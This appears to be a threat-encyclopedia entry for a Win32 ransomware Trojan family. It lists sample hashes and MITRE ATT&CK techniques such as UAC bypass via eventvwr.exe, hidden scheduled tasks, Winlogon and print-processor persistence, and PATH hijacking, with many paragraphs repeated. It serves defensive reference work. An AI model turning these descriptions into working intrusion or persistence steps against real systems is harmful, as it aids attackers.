Update Date
02/07/2024

Class: Trojan-Ransom

This type of Trojan modifies data on the victim computer so that the victim can no longer use the data, or it prevents the computer from running correctly. Once the data has been “taken hostage” (blocked or encrypted), the user will receive a ransom demand. The ransom demand tells the victim to send the malicious user money; on receipt of this, the cyber criminal will send a program to the victim to restore the data or restore the computer’s performance.

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Platform: Win32

Win32 is an API on Windows NT-based operating systems (Windows XP, Windows 7, etc.) that supports execution of 32-bit applications. One of the most widespread programming platforms in the world.

Family: Gen

No family description

Examples

22897CEF894AFF0EB3B0F2AB73D54D52
B969E3ED8FCA7229CE94AB97C2208A17
7EEA651F770E8BBE4EEB87E90B6BA32D
F8EBA7473035CA55954C8A39AD697BA8
2CF4352CDAE45CBAD7C66C9D2656A39A

Tactics and Techniques: Mitre*

TA0001
Initial Access

Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media’s firmware itself.


Mobile devices may also be used to infect PCs with malware if connected via USB.(Citation: Exploiting Smartphone USB ) This infection may be achieved using devices (Android, iOS, etc.) and, in some instances, USB charging cables.(Citation: Windows Malware Infecting Android)(Citation: iPhone Charging Cable Hack) For example, when a smartphone is connected to a system, it may appear to be mounted similar to a USB-connected disk drive. If malware that is compatible with the connected system is on the mobile device, the malware could infect the machine (especially if Autorun features are enabled).


T1091
Replication Through Removable Media

Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media’s firmware itself.


Mobile devices may also be used to infect PCs with malware if connected via USB.(Citation: Exploiting Smartphone USB ) This infection may be achieved using devices (Android, iOS, etc.) and, in some instances, USB charging cables.(Citation: Windows Malware Infecting Android)(Citation: iPhone Charging Cable Hack) For example, when a smartphone is connected to a system, it may appear to be mounted similar to a USB-connected disk drive. If malware that is compatible with the connected system is on the mobile device, the malware could infect the machine (especially if Autorun features are enabled).


T1566.002
Phishing: Spearphishing Link

Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.


All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging User Execution. The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place.


Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly. Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an “IDN homograph attack”).(Citation: CISA IDN ST05-016) URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`.(Citation: Mandiant URL Obfuscation 2023)


Adversaries may also utilize links to perform consent phishing, typically with OAuth 2.0 request URLs that when accepted by the user provide permissions/access for malicious applications, allowing adversaries to Steal Application Access Tokens.(Citation: Trend Micro Pawn Storm OAuth 2017) These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls. (Citation: Microsoft OAuth 2.0 Consent Phishing 2021)


TA0002
Execution

Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).(Citation: MSDN WMI) Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.(Citation: MSDN WMI)(Citation: FireEye WMI 2015)


An adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for Discovery as well as remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015)


T1047
Windows Management Instrumentation

Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).(Citation: MSDN WMI) Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.(Citation: MSDN WMI)(Citation: FireEye WMI 2015)


An adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for Discovery as well as remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015)


T1053.002
Scheduled Task/Job: At

Adversaries may abuse the at utility to perform task scheduling for initial or recurring execution of malicious code. The at utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of Scheduled Task’s schtasks in Windows environments, using at requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group.


On Linux and macOS, at may be invoked by the superuser as well as any users added to the at.allow file. If the at.allow file does not exist, the at.deny file is checked. Every username not listed in at.deny is allowed to invoke at. If the at.deny exists and is empty, global use of at is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use at.(Citation: Linux at)


Adversaries may use at to execute programs at system startup or on a scheduled basis for Persistence. at can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM).


In Linux environments, adversaries may also abuse at to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, at may also be used for Privilege Escalation if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at)


T1053.005
Scheduled Task/Job: Scheduled Task

Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The schtasks utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.


The deprecated at utility could also be abused by adversaries (ex: At), though at.exe can not access tasks created with schtasks or the Control Panel.


An adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to System Binary Proxy Execution, adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent)


Adversaries may also create “hidden” scheduled tasks (i.e. Hide Artifacts) that may not be visible to defender tools and manual queries used to enumerate tasks. Specifically, an adversary may hide a task from `schtasks /query` and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions).(Citation: SigmaHQ)(Citation: Tarrask scheduled task) Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., `Index` value) within associated registry keys.(Citation: Defending Against Scheduled Task Attacks in Windows Environments)


T1059.003
Command and Scripting Interpreter: Windows Command Shell

Adversaries may abuse the Windows command shell for execution. The Windows command shell (cmd) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. The command prompt can be invoked remotely via Remote Services such as SSH.(Citation: SSH in Windows)


Batch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems.


Adversaries may leverage cmd to execute various commands and payloads. Common uses include cmd to execute a single command, or abusing cmd interactively with input and output forwarded over a command and control channel.


T1059.005
Command and Scripting Interpreter: Visual Basic

Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as Component Object Model and the Native API through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation: VB .NET Mar 2020)(Citation: VB Microsoft)


Derivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications.(Citation: Microsoft VBA)(Citation: Wikipedia VBA) VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. VBScript is a default scripting language on Windows hosts and can also be used in place of JavaScript on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).(Citation: Microsoft VBScript)


Adversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into Spearphishing Attachment payloads (which may also involve Mark-of-the-Web Bypass to enable execution).(Citation: Default VBS macros Blocking )


T1059.007
Command and Scripting Interpreter: JavaScript

Adversaries may abuse various implementations of JavaScript for execution. JavaScript (JS) is a platform-independent scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.(Citation: NodeJS)


JScript is the Microsoft implementation of the same scripting standard. JScript is interpreted via the Windows Script engine and thus integrated with many components of Windows such as the Component Object Model and Internet Explorer HTML Application (HTA) pages.(Citation: JScrip May 2018)(Citation: Microsoft JScript 2007)(Citation: Microsoft Windows Scripts)


JavaScript for Automation (JXA) is a macOS scripting language based on JavaScript, included as part of Apple’s Open Scripting Architecture (OSA), that was introduced in OSX 10.10. Apple’s OSA provides scripting capabilities to control applications, interface with the operating system, and bridge access into the rest of Apple’s internal APIs. As of OSX 10.10, OSA only supports two languages, JXA and AppleScript. Scripts can be executed via the command line utility osascript, they can be compiled into applications or script files via osacompile, and they can be compiled and executed in memory of other programs by leveraging the OSAKit Framework.(Citation: Apple About Mac Scripting 2016)(Citation: SpecterOps JXA 2020)(Citation: SentinelOne macOS Red Team)(Citation: Red Canary Silver Sparrow Feb2021)(Citation: MDSec macOS JXA and VSCode)


Adversaries may abuse various implementations of JavaScript to execute various behaviors. Common uses include hosting malicious scripts on websites as part of a Drive-by Compromise or downloading and executing these script files as secondary payloads. Since these payloads are text-based, it is also very common for adversaries to obfuscate their content as part of Obfuscated Files or Information.


T1129
Shared Modules

Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., Native API).


Adversaries may use this functionality as a way to execute arbitrary payloads on a victim system. For example, adversaries can modularize functionality of their malware into shared objects that perform various functions such as managing C2 network communications or execution of specific actions on objective.


The Linux & macOS module loader can load and execute shared objects from arbitrary local paths. This functionality resides in `dlfcn.h` in functions such as `dlopen` and `dlsym`. Although macOS can execute `.so` files, common practice uses `.dylib` files.(Citation: Apple Dev Dynamic Libraries)(Citation: Linux Shared Libraries)(Citation: RotaJakiro 2021 netlab360 analysis)(Citation: Unit42 OceanLotus 2017)


The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in `NTDLL.dll` and is part of the Windows Native API which is called from functions like `LoadLibrary` at run time.(Citation: Microsoft DLL)


T1204.001
User Execution: Malicious Link

An adversary may rely upon a user clicking a malicious link in order to gain execution. Users may be subjected to social engineering to get them to click on a link that will lead to code execution. This user action will typically be observed as follow-on behavior from Spearphishing Link. Clicking on a link may also lead to other execution techniques such as exploitation of a browser or application vulnerability via Exploitation for Client Execution. Links may also lead users to download files that require execution via Malicious File.


T1559.001
Inter-Process Communication: Component Object Model

Adversaries may use the Windows Component Object Model (COM) for local code execution. COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) Remote COM execution is facilitated by Remote Services such as Distributed Component Object Model (DCOM).(Citation: Fireeye Hunting COM June 2019)


Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and Visual Basic.(Citation: Microsoft COM) Specific COM objects also exist to directly perform functions beyond code execution, such as creating a Scheduled Task/Job, fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)


TA0003
Persistence

Adversaries may abuse the at utility to perform task scheduling for initial or recurring execution of malicious code. The at utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of Scheduled Task’s schtasks in Windows environments, using at requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group.


On Linux and macOS, at may be invoked by the superuser as well as any users added to the at.allow file. If the at.allow file does not exist, the at.deny file is checked. Every username not listed in at.deny is allowed to invoke at. If the at.deny exists and is empty, global use of at is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use at.(Citation: Linux at)


Adversaries may use at to execute programs at system startup or on a scheduled basis for Persistence. at can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM).


In Linux environments, adversaries may also abuse at to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, at may also be used for Privilege Escalation if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at)


T1053.002
Scheduled Task/Job: At

Adversaries may abuse the at utility to perform task scheduling for initial or recurring execution of malicious code. The at utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of Scheduled Task’s schtasks in Windows environments, using at requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group.


On Linux and macOS, at may be invoked by the superuser as well as any users added to the at.allow file. If the at.allow file does not exist, the at.deny file is checked. Every username not listed in at.deny is allowed to invoke at. If the at.deny exists and is empty, global use of at is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use at.(Citation: Linux at)


Adversaries may use at to execute programs at system startup or on a scheduled basis for Persistence. at can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM).


In Linux environments, adversaries may also abuse at to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, at may also be used for Privilege Escalation if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at)


T1053.005
Scheduled Task/Job: Scheduled Task

Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The schtasks utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.


The deprecated at utility could also be abused by adversaries (ex: At), though at.exe can not access tasks created with schtasks or the Control Panel.


An adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to System Binary Proxy Execution, adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent)


Adversaries may also create “hidden” scheduled tasks (i.e. Hide Artifacts) that may not be visible to defender tools and manual queries used to enumerate tasks. Specifically, an adversary may hide a task from `schtasks /query` and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions).(Citation: SigmaHQ)(Citation: Tarrask scheduled task) Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., `Index` value) within associated registry keys.(Citation: Defending Against Scheduled Task Attacks in Windows Environments)


T1134.003
Access Token Manipulation: Make and Impersonate Token

Adversaries may make new tokens and impersonate users to escalate privileges and bypass access controls. For example, if an adversary has a username and password but the user is not logged onto the system the adversary can then create a logon session for the user using the `LogonUser` function. The function will return a copy of the new session’s access token and the adversary can use `SetThreadToken` to assign the token to a thread.


This behavior is distinct from Token Impersonation/Theft in that this refers to creating a new user token instead of stealing or duplicating an existing one.


T1176
Browser Extensions

Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser’s app store and generally have access and permissions to everything that the browser can access.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition)


Malicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so it may not be difficult for malicious extensions to defeat automated scanners.(Citation: Malicious Chrome Extension Numbers) Depending on the browser, adversaries may also manipulate an extension’s update url to install updates from an adversary controlled server or manipulate the mobile configuration file to silently install additional extensions.


Previous to macOS 11, adversaries could silently install browser extensions via the command line using the profiles tool to install malicious .mobileconfig files. In macOS 11+, the use of the profiles tool can no longer install configuration profiles, however .mobileconfig files can be planted and installed with user interaction.(Citation: xorrior chrome extensions macOS)


Once the extension is installed, it can browse to websites in the background, steal all information that a user enters into a browser (including credentials), and be used as an installer for a RAT for persistence.(Citation: Chrome Extension Crypto Miner)(Citation: ICEBRG Chrome Extensions)(Citation: Banker Google Chrome Extension Steals Creds)(Citation: Catch All Chrome Extension)


There have also been instances of botnets using a persistent backdoor through malicious Chrome extensions.(Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control.(Citation: Chrome Extension C2 Malware)


T1543.003
Create or Modify System Process: Windows Service

Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service’s executable or recovery programs/commands, is stored in the Windows Registry.


Adversaries may install a new service or modify an existing service to execute at startup in order to persist on a system. Service configurations can be set or modified using system utilities (such as sc.exe), by directly modifying the Registry, or by interacting directly with the Windows API.


Adversaries may also use services to install and execute malicious drivers. For example, after dropping a driver file (ex: `.sys`) to disk, the payload can be loaded and registered via Native API functions such as `CreateServiceW()` (or manually via functions such as `ZwLoadDriver()` and `ZwSetValueKey()`), by creating the required service Registry values (i.e. Modify Registry), or by using command-line utilities such as `PnPUtil.exe`.(Citation: Symantec W.32 Stuxnet Dossier)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: Unit42 AcidBox June 2020) Adversaries may leverage these drivers as Rootkits to hide the presence of malicious activity on a system. Adversaries may also load a signed yet vulnerable driver onto a compromised machine (known as “Bring Your Own Vulnerable Driver” (BYOVD)) as part of Exploitation for Privilege Escalation.(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020)


Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges. Adversaries may also directly start services through Service Execution. To make detection analysis more challenging, malicious services may also incorporate Masquerade Task or Service (ex: using a service and/or payload name related to a legitimate OS or benign software component).


T1546.001
Event Triggered Execution: Change Default File Association

Adversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility.(Citation: Microsoft Change Default Programs)(Citation: Microsoft File Handlers)(Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.


System file associations are listed under HKEY_CLASSES_ROOT.[extension], for example HKEY_CLASSES_ROOT.txt. The entries point to a handler for that extension located at HKEY_CLASSES_ROOT\[handler]. The various commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT\[handler]shell\[action]command. For example:


* HKEY_CLASSES_ROOTtxtfileshellopencommand

* HKEY_CLASSES_ROOTtxtfileshellprintcommand

* HKEY_CLASSES_ROOTtxtfileshellprinttocommand


The values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands.(Citation: TrendMicro TROJ-FAKEAV OCT 2012)


T1546.011
Event Triggered Execution: Application Shimming

Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017)


Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS.


A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:


* %WINDIR%AppPatchsysmain.sdb and

* hklmsoftwaremicrosoftwindows ntcurrentversionappcompatflagsinstalledsdb


Custom databases are stored in:


* %WINDIR%AppPatchcustom & %WINDIR%AppPatchAppPatch64Custom and

* hklmsoftwaremicrosoftwindows ntcurrentversionappcompatflagscustom


To keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to Bypass User Account Control (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).


Utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. (Citation: FireEye Application Shimming) Shims can also be abused to establish persistence by continuously being invoked by affected programs.


T1547.004
Boot or Logon Autostart Execution: Winlogon Helper DLL

Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLMSoftware[\Wow6432Node\]MicrosoftWindows NTCurrentVersionWinlogon and HKCUSoftwareMicrosoftWindows NTCurrentVersionWinlogon are used to manage additional helper programs and functionalities that support Winlogon.(Citation: Cylance Reg Persistence Sept 2013)


Malicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)


* WinlogonNotify – points to notification package DLLs that handle Winlogon events

* WinlogonUserinit – points to userinit.exe, the user initialization program executed when a user logs on

* WinlogonShell – points to explorer.exe, the system shell executed when a user logs on


Adversaries may take advantage of these features to repeatedly execute malicious code and establish persistence.


T1547.009
Boot or Logon Autostart Execution: Shortcut Modification

Adversaries may create or modify shortcuts that can execute a program during system boot or user login. Shortcuts or symbolic links are used to reference other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process.


Adversaries may abuse shortcuts in the startup folder to execute their tools and achieve persistence.(Citation: Shortcut for Persistence ) Although often used as payloads in an infection chain (e.g. Spearphishing Attachment), adversaries may also create a new shortcut as a means of indirection, while also abusing Masquerading to make the malicious shortcut appear as a legitimate program. Adversaries can also edit the target path or entirely replace an existing shortcut so their malware will be executed instead of the intended legitimate program.


Shortcuts can also be abused to establish persistence by implementing other methods. For example, LNK browser extensions may be modified (e.g. Browser Extensions) to persistently launch malware.


T1547.012
Boot or Logon Autostart Execution: Print Processors

Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, `spoolsv.exe`, during boot.(Citation: Microsoft Intro Print Processors)


Adversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the AddPrintProcessor API call with an account that has SeLoadDriverPrivilege enabled. Alternatively, a print processor can be registered to the print spooler service by adding the HKLMSYSTEM\[CurrentControlSet or ControlSet001]ControlPrintEnvironments\[Windows architecture: e.g., Windows x64]Print Processors\[user defined]Driver Registry key that points to the DLL.


For the malicious print processor to be correctly installed, the payload must be located in the dedicated system print-processor directory, that can be found with the GetPrintProcessorDirectory API call, or referenced via a relative path from this directory.(Citation: Microsoft AddPrintProcessor May 2018) After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May 2020)


The print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges.


T1548.002
Abuse Elevation Control Mechanism: Bypass User Account Control

Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works)


If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated Component Object Model objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC)(Citation: MSDN COM Elevation) An example of this is use of Rundll32 to load a specifically crafted DLL which loads an auto-elevated Component Object Model object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)


Many methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:


* eventvwr.exe can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)


Another bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)


T1574.007
Hijack Execution Flow: Path Interception by PATH Environment Variable

Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. The PATH environment variable contains a list of directories (User and System) that the OS searches sequentially through in search of the binary that was called from a script or the command line.


Adversaries can place a malicious program in an earlier entry in the list of directories stored in the PATH environment variable, resulting in the operating system executing the malicious binary rather than the legitimate binary when it searches sequentially through that PATH listing.


For example, on Windows if an adversary places a malicious program named “net.exe” in `C:example path`, which by default precedes `C:Windowssystem32net.exe` in the PATH environment variable, when “net” is executed from the command-line the `C:example path` will be called instead of the system’s legitimate executable at `C:Windowssystem32net.exe`. Some methods of executing a program rely on the PATH environment variable to determine the locations that are searched when the path for the program is not given, such as executing programs from a Command and Scripting Interpreter.(Citation: ExpressVPN PATH env Windows 2021)


Adversaries may also directly modify the $PATH variable specifying the directories to be searched. An adversary can modify the `$PATH` variable to point to a directory they have write access. When a program using the $PATH variable is called, the OS searches the specified directory and executes the malicious binary. On macOS, this can also be performed through modifying the $HOME variable. These variables can be modified using the command-line, launchctl, Unix Shell Configuration Modification, or modifying the `/etc/paths.d` folder contents.(Citation: uptycs Fake POC linux malware 2023)(Citation: nixCraft macOS PATH variables)(Citation: Elastic Rules macOS launchctl 2022)


TA0004
Privilege Escalation

Adversaries may abuse the at utility to perform task scheduling for initial or recurring execution of malicious code. The at utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of Scheduled Task’s schtasks in Windows environments, using at requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group.


On Linux and macOS, at may be invoked by the superuser as well as any users added to the at.allow file. If the at.allow file does not exist, the at.deny file is checked. Every username not listed in at.deny is allowed to invoke at. If the at.deny exists and is empty, global use of at is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use at.(Citation: Linux at)


Adversaries may use at to execute programs at system startup or on a scheduled basis for Persistence. at can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM).


In Linux environments, adversaries may also abuse at to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, at may also be used for Privilege Escalation if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at)


T1053.002
Scheduled Task/Job: At

Adversaries may abuse the at utility to perform task scheduling for initial or recurring execution of malicious code. The at utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of Scheduled Task’s schtasks in Windows environments, using at requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group.


On Linux and macOS, at may be invoked by the superuser as well as any users added to the at.allow file. If the at.allow file does not exist, the at.deny file is checked. Every username not listed in at.deny is allowed to invoke at. If the at.deny exists and is empty, global use of at is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use at.(Citation: Linux at)


Adversaries may use at to execute programs at system startup or on a scheduled basis for Persistence. at can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM).


In Linux environments, adversaries may also abuse at to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, at may also be used for Privilege Escalation if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at)


T1053.005
Scheduled Task/Job: Scheduled Task

Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The schtasks utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.


The deprecated at utility could also be abused by adversaries (ex: At), though at.exe can not access tasks created with schtasks or the Control Panel.


An adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to System Binary Proxy Execution, adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent)


